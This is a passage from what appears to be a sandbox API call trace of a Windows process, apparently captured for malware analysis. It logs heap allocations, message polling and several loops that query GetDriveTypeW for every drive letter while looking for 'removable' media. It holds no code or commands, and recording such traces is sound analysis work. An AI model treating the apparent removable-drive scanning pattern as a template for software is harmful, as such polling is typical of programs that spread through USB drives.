Size=0xc) returned 0x1076a90 [0172.034] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x40) returned 0xed2e20 [0172.034] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0172.034] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf388 [0172.034] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xec1438 [0172.034] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10768b0 [0172.034] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf308 [0172.034] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10768f8 [0172.034] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf308 | out: hHeap=0xe80000) returned 1 [0172.034] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076868 [0172.034] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076940 [0172.034] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf3e8 [0172.034] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf2d8 [0172.034] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xec1488 [0172.034] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0172.034] GetDriveTypeW (lpRootPathName="a:\\") returned 0x1 [0172.034] GetDriveTypeW (lpRootPathName="b:\\") returned 0x1 [0172.035] GetDriveTypeW (lpRootPathName="c:\\") returned 0x3 [0172.035] GetDriveTypeW (lpRootPathName="d:\\") returned 0x1 [0172.035] GetDriveTypeW (lpRootPathName="e:\\") returned 0x1 [0172.035] GetDriveTypeW (lpRootPathName="f:\\") returned 0x1 [0172.035] GetDriveTypeW (lpRootPathName="g:\\") returned 0x1 [0172.035] GetDriveTypeW (lpRootPathName="h:\\") returned 0x1 [0172.036] GetDriveTypeW (lpRootPathName="i:\\") returned 0x1 [0172.036] GetDriveTypeW (lpRootPathName="j:\\") returned 0x1 [0172.036] GetDriveTypeW (lpRootPathName="k:\\") returned 0x1 [0172.036] GetDriveTypeW (lpRootPathName="l:\\") returned 0x1 [0172.036] GetDriveTypeW (lpRootPathName="m:\\") returned 0x1 [0172.036] GetDriveTypeW (lpRootPathName="n:\\") returned 0x1 [0172.037] GetDriveTypeW (lpRootPathName="o:\\") returned 0x1 [0172.037] GetDriveTypeW (lpRootPathName="p:\\") returned 0x1 [0172.037] GetDriveTypeW (lpRootPathName="q:\\") returned 0x1 [0172.037] GetDriveTypeW (lpRootPathName="r:\\") returned 0x1 [0172.037] GetDriveTypeW (lpRootPathName="s:\\") returned 0x1 [0172.037] GetDriveTypeW (lpRootPathName="t:\\") returned 0x1 [0172.037] GetDriveTypeW (lpRootPathName="u:\\") returned 0x1 [0172.038] GetDriveTypeW (lpRootPathName="v:\\") returned 0x1 [0172.038] GetDriveTypeW (lpRootPathName="w:\\") returned 0x1 [0172.038] GetDriveTypeW (lpRootPathName="x:\\") returned 0x1 [0172.038] GetDriveTypeW (lpRootPathName="y:\\") returned 0x1 [0172.038] GetDriveTypeW (lpRootPathName="z:\\") returned 0x1 [0172.039] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec1488 | out: hHeap=0xe80000) returned 1 [0172.039] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf2d8 | out: hHeap=0xe80000) returned 1 [0172.039] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10768f8 | out: hHeap=0xe80000) returned 1 [0172.039] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10768b0 | out: hHeap=0xe80000) returned 1 [0172.039] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec1438 | out: hHeap=0xe80000) returned 1 [0172.039] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf388 | out: hHeap=0xe80000) returned 1 [0172.039] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xec1438 [0172.039] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10769a0 [0172.039] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf2d8 [0172.039] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10769b8 [0172.040] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076880 [0172.040] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076868 | out: hHeap=0xe80000) returned 1 [0172.040] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0172.040] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf268 [0172.040] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076868 [0172.040] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf3f8 [0172.040] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0xefe7f8 [0172.040] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10768b0 [0172.040] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0172.040] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076868 | out: hHeap=0xe80000) returned 1 [0172.040] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10768b0 | out: hHeap=0xe80000) returned 1 [0172.040] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xefe7f8 | out: hHeap=0xe80000) returned 1 [0172.040] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3f8 | out: hHeap=0xe80000) returned 1 [0172.040] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf268 | out: hHeap=0xe80000) returned 1 [0172.040] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeecb10 [0172.040] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0172.041] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeecb10 | out: hHeap=0xe80000) returned 1 [0172.041] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0172.041] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xed2e20 | out: hHeap=0xe80000) returned 1 [0172.041] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076940 | out: hHeap=0xe80000) returned 1 [0172.041] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3e8 | out: hHeap=0xe80000) returned 1 [0172.041] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076880 | out: hHeap=0xe80000) returned 1 [0172.041] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10769b8 | out: hHeap=0xe80000) returned 1 [0172.041] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10769a0 | out: hHeap=0xe80000) returned 1 [0172.041] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf2d8 | out: hHeap=0xe80000) returned 1 [0172.042] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec1438 | out: hHeap=0xe80000) returned 1 [0172.042] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076a90 | out: hHeap=0xe80000) returned 1 [0172.042] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0172.042] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf418 [0172.042] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf418 | out: hHeap=0xe80000) returned 1 [0172.042] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0172.042] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf418 [0172.042] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x40) returned 0xed27f0 [0172.042] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0172.042] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xed27f0 | out: hHeap=0xe80000) returned 1 [0172.042] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf418 | out: hHeap=0xe80000) returned 1 [0172.042] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0xc) returned 0x1076a30 [0172.042] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x40) returned 0xed2910 [0172.042] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0172.042] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf2d8 [0172.042] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xec1438 [0172.042] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10769a0 [0172.043] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf378 [0172.043] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10768e0 [0172.043] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf378 | out: hHeap=0xe80000) returned 1 [0172.043] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076a48 [0172.043] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076a18 [0172.043] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf3f8 [0172.043] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf418 [0172.043] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xec1640 [0172.043] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0172.043] GetDriveTypeW (lpRootPathName="a:\\") returned 0x1 [0172.043] GetDriveTypeW (lpRootPathName="b:\\") returned 0x1 [0172.043] GetDriveTypeW (lpRootPathName="c:\\") returned 0x3 [0172.043] GetDriveTypeW (lpRootPathName="d:\\") returned 0x1 [0172.043] GetDriveTypeW (lpRootPathName="e:\\") returned 0x1 [0172.044] GetDriveTypeW (lpRootPathName="f:\\") returned 0x1 [0172.044] GetDriveTypeW (lpRootPathName="g:\\") returned 0x1 [0172.044] GetDriveTypeW (lpRootPathName="h:\\") returned 0x1 [0172.044] GetDriveTypeW (lpRootPathName="i:\\") returned 0x1 [0172.044] GetDriveTypeW (lpRootPathName="j:\\") returned 0x1 [0172.044] GetDriveTypeW (lpRootPathName="k:\\") returned 0x1 [0172.044] GetDriveTypeW (lpRootPathName="l:\\") returned 0x1 [0172.045] GetDriveTypeW (lpRootPathName="m:\\") returned 0x1 [0172.045] GetDriveTypeW (lpRootPathName="n:\\") returned 0x1 [0172.045] GetDriveTypeW (lpRootPathName="o:\\") returned 0x1 [0172.045] GetDriveTypeW (lpRootPathName="p:\\") returned 0x1 [0172.045] GetDriveTypeW (lpRootPathName="q:\\") returned 0x1 [0172.045] GetDriveTypeW (lpRootPathName="r:\\") returned 0x1 [0172.046] GetDriveTypeW (lpRootPathName="s:\\") returned 0x1 [0172.046] GetDriveTypeW (lpRootPathName="t:\\") returned 0x1 [0172.046] GetDriveTypeW (lpRootPathName="u:\\") returned 0x1 [0172.046] GetDriveTypeW (lpRootPathName="v:\\") returned 0x1 [0172.046] GetDriveTypeW (lpRootPathName="w:\\") returned 0x1 [0172.046] GetDriveTypeW (lpRootPathName="x:\\") returned 0x1 [0172.046] GetDriveTypeW (lpRootPathName="y:\\") returned 0x1 [0172.047] GetDriveTypeW (lpRootPathName="z:\\") returned 0x1 [0172.047] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec1640 | out: hHeap=0xe80000) returned 1 [0172.059] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf418 | out: hHeap=0xe80000) returned 1 [0172.059] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10768e0 | out: hHeap=0xe80000) returned 1 [0172.060] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10769a0 | out: hHeap=0xe80000) returned 1 [0172.060] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec1438 | out: hHeap=0xe80000) returned 1 [0172.060] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf2d8 | out: hHeap=0xe80000) returned 1 [0172.060] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xec1640 [0172.061] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076a90 [0172.061] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf308 [0172.061] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076868 [0172.061] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10768f8 [0172.061] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076a48 | out: hHeap=0xe80000) returned 1 [0172.061] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0172.061] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf438 [0172.061] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076910 [0172.061] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf378 [0172.061] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0xefe918 [0172.061] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076aa8 [0172.061] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0172.061] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076910 | out: hHeap=0xe80000) returned 1 [0172.061] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076aa8 | out: hHeap=0xe80000) returned 1 [0172.061] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xefe918 | out: hHeap=0xe80000) returned 1 [0172.061] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf378 | out: hHeap=0xe80000) returned 1 [0172.061] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf438 | out: hHeap=0xe80000) returned 1 [0172.061] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeec650 [0172.061] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0172.062] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeec650 | out: hHeap=0xe80000) returned 1 [0172.062] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0172.063] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xed2910 | out: hHeap=0xe80000) returned 1 [0172.063] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076a18 | out: hHeap=0xe80000) returned 1 [0172.063] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3f8 | out: hHeap=0xe80000) returned 1 [0172.063] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10768f8 | out: hHeap=0xe80000) returned 1 [0172.063] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076868 | out: hHeap=0xe80000) returned 1 [0172.063] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076a90 | out: hHeap=0xe80000) returned 1 [0172.063] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf308 | out: hHeap=0xe80000) returned 1 [0172.064] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec1640 | out: hHeap=0xe80000) returned 1 [0172.064] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076a30 | out: hHeap=0xe80000) returned 1 [0172.064] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0172.064] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf2d8 [0172.064] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf2d8 | out: hHeap=0xe80000) returned 1 [0172.064] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0172.064] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf3d8 [0172.064] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x40) returned 0xed2910 [0172.064] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0172.065] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xed2910 | out: hHeap=0xe80000) returned 1 [0172.065] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3d8 | out: hHeap=0xe80000) returned 1 [0172.065] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0xc) returned 0x10768c8 [0172.065] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x40) returned 0xed3060 [0172.065] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0172.065] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf2b8 [0172.065] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xec1438 [0172.065] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10768b0 [0172.065] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf268 [0172.065] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076868 [0172.065] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf268 | out: hHeap=0xe80000) returned 1 [0172.065] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076a18 [0172.066] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076880 [0172.066] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf378 [0172.066] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf368 [0172.066] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xec1488 [0172.066] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0172.066] GetDriveTypeW (lpRootPathName="a:\\") returned 0x1 [0172.066] GetDriveTypeW (lpRootPathName="b:\\") returned 0x1 [0172.066] GetDriveTypeW (lpRootPathName="c:\\") returned 0x3 [0172.066] GetDriveTypeW (lpRootPathName="d:\\") returned 0x1 [0172.066] GetDriveTypeW (lpRootPathName="e:\\") returned 0x1 [0172.066] GetDriveTypeW (lpRootPathName="f:\\") returned 0x1 [0172.067] GetDriveTypeW (lpRootPathName="g:\\") returned 0x1 [0172.067] GetDriveTypeW (lpRootPathName="h:\\") returned 0x1 [0172.067] GetDriveTypeW (lpRootPathName="i:\\") returned 0x1 [0172.067] GetDriveTypeW (lpRootPathName="j:\\") returned 0x1 [0172.067] GetDriveTypeW (lpRootPathName="k:\\") returned 0x1 [0172.067] GetDriveTypeW (lpRootPathName="l:\\") returned 0x1 [0172.067] GetDriveTypeW (lpRootPathName="m:\\") returned 0x1 [0172.068] GetDriveTypeW (lpRootPathName="n:\\") returned 0x1 [0172.068] GetDriveTypeW (lpRootPathName="o:\\") returned 0x1 [0172.068] GetDriveTypeW (lpRootPathName="p:\\") returned 0x1 [0172.068] GetDriveTypeW (lpRootPathName="q:\\") returned 0x1 [0172.068] GetDriveTypeW (lpRootPathName="r:\\") returned 0x1 [0172.068] GetDriveTypeW (lpRootPathName="s:\\") returned 0x1 [0172.069] GetDriveTypeW (lpRootPathName="t:\\") returned 0x1 [0172.069] GetDriveTypeW (lpRootPathName="u:\\") returned 0x1 [0172.069] GetDriveTypeW (lpRootPathName="v:\\") returned 0x1 [0172.069] GetDriveTypeW (lpRootPathName="w:\\") returned 0x1 [0172.069] GetDriveTypeW (lpRootPathName="x:\\") returned 0x1 [0172.069] GetDriveTypeW (lpRootPathName="y:\\") returned 0x1 [0172.069] GetDriveTypeW (lpRootPathName="z:\\") returned 0x1 [0172.070] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec1488 | out: hHeap=0xe80000) returned 1 [0172.070] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf368 | out: hHeap=0xe80000) returned 1 [0172.070] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076868 | out: hHeap=0xe80000) returned 1 [0172.070] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10768b0 | out: hHeap=0xe80000) returned 1 [0172.071] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec1438 | out: hHeap=0xe80000) returned 1 [0172.071] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf2b8 | out: hHeap=0xe80000) returned 1 [0172.071] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xec14b0 [0172.071] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076a90 [0172.071] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf388 [0172.071] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10768b0 [0172.071] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10769a0 [0172.071] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076a18 | out: hHeap=0xe80000) returned 1 [0172.071] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0172.071] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf268 [0172.071] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076a30 [0172.071] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf308 [0172.071] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0xefe898 [0172.071] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076868 [0172.071] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0172.071] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076a30 | out: hHeap=0xe80000) returned 1 [0172.071] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076868 | out: hHeap=0xe80000) returned 1 [0172.071] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xefe898 | out: hHeap=0xe80000) returned 1 [0172.071] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf308 | out: hHeap=0xe80000) returned 1 [0172.071] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf268 | out: hHeap=0xe80000) returned 1 [0172.071] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeeca50 [0172.071] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0172.072] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeeca50 | out: hHeap=0xe80000) returned 1 [0172.072] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0172.072] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xed3060 | out: hHeap=0xe80000) returned 1 [0172.072] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076880 | out: hHeap=0xe80000) returned 1 [0172.072] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf378 | out: hHeap=0xe80000) returned 1 [0172.072] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10769a0 | out: hHeap=0xe80000) returned 1 [0172.072] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10768b0 | out: hHeap=0xe80000) returned 1 [0172.072] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076a90 | out: hHeap=0xe80000) returned 1 [0172.073] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf388 | out: hHeap=0xe80000) returned 1 [0172.073] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec14b0 | out: hHeap=0xe80000) returned 1 [0172.073] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10768c8 | out: hHeap=0xe80000) returned 1 [0172.073] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0172.073] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf2d8 [0172.073] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf2d8 | out: hHeap=0xe80000) returned 1 [0172.073] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0172.073] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf3d8 [0172.073] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x40) returned 0xed27f0 [0172.073] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0172.074] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xed27f0 | out: hHeap=0xe80000) returned 1 [0172.074] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3d8 | out: hHeap=0xe80000) returned 1 [0172.074] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0xc) returned 0x1076868 [0172.074] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x40) returned 0xed2b50 [0172.074] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0172.074] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf308 [0172.074] 